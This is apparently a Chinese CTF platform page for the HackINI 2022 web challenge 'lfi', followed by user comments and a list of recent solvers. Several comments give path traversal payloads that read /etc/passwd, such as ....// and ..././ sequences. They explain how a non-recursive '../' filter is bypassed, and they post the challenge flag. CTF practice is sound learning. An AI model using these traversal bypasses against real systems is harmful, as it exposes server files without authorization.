lfiWEB 未解决

分数: 0 金币: 0
所属赛事: HackINI 2022
题目作者: 未知
一  血: tzzzez
一血奖励: 0金币
解  决: 2340
提  示:
描  述:
We made some serious checks now, would you test it ?
评论
hbesljx 2年前

直接language=....//....//....//....//....//....//etc/passwd即可。..../过滤掉../后还是../

回复 1

1005667204 2年前

使用?language=./language/..././..././..././..././..././..././..././etc/passwd或者使用双写?language=/languages/....//....//....//....//....//....//etc/passwd

回复 0

18993258097 2年前

shellmates{SH0uLD_H4Ve_MadE_th3_checK_recuRS1V3}

回复 0

菜鸡的小韩 2年前

这是一个基本的绕过,因为 str_replace('../', '',$_GET['language'])这串代码../会被替换成空格,所以要进行一个绕过,用..././来代替../ 。url中写?language=./..././..././..././..././..././etc/passwd即可

回复 0

ABC第一深情 2年前

/?language=/etc/passwd

回复 3

曦羽unT0x1ns 2年前

直接用file:///etc/passwd居然也行 oAo

回复 0
13657809271 1年前

我这样怎么不行

回复 0

XHTX 2年前

?language=/languages//..//..//..//....//etc/passwd shellmates{SH0uLD_H4Ve_MadE_th3_checK_recuRS1V3} 就是这个样子

回复 0

868954104 2年前

?language=/languages/....//....//....//....//etc/passwd

回复 0

868954104 2年前

shellmates{SH0uLD_H4Ve_MadE_th3_checK_recuRS1V3}

回复 1

yituoshi 2年前

Half the truth is often a big lie: Look Here !!! root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nol

回复 0

WriteUp

image
a2cai

2 金币

评分(3)

解题动态

SU2 攻破了该题 59分钟前
Jay. 攻破了该题 6小时前
AITester 攻破了该题 1天前
鹿晚卿 攻破了该题 1天前
slrwg 攻破了该题 1天前
灵梦归希 攻破了该题 2天前
crazy0x70 攻破了该题 3天前
cc.cou 攻破了该题 3天前
Vluae 攻破了该题 3天前
AWDAI 攻破了该题 3天前
jibabenba 攻破了该题 4天前
Sophistry 攻破了该题 5天前
YHS-Beyond 攻破了该题 5天前
nayuta 攻破了该题 5天前
sjjsyh 攻破了该题 5天前
guity 攻破了该题 5天前
叶聆娴 攻破了该题 5天前
晨曦静夜 攻破了该题 5天前
1233333333 攻破了该题 6天前
ikun0073 攻破了该题 6天前
问题反馈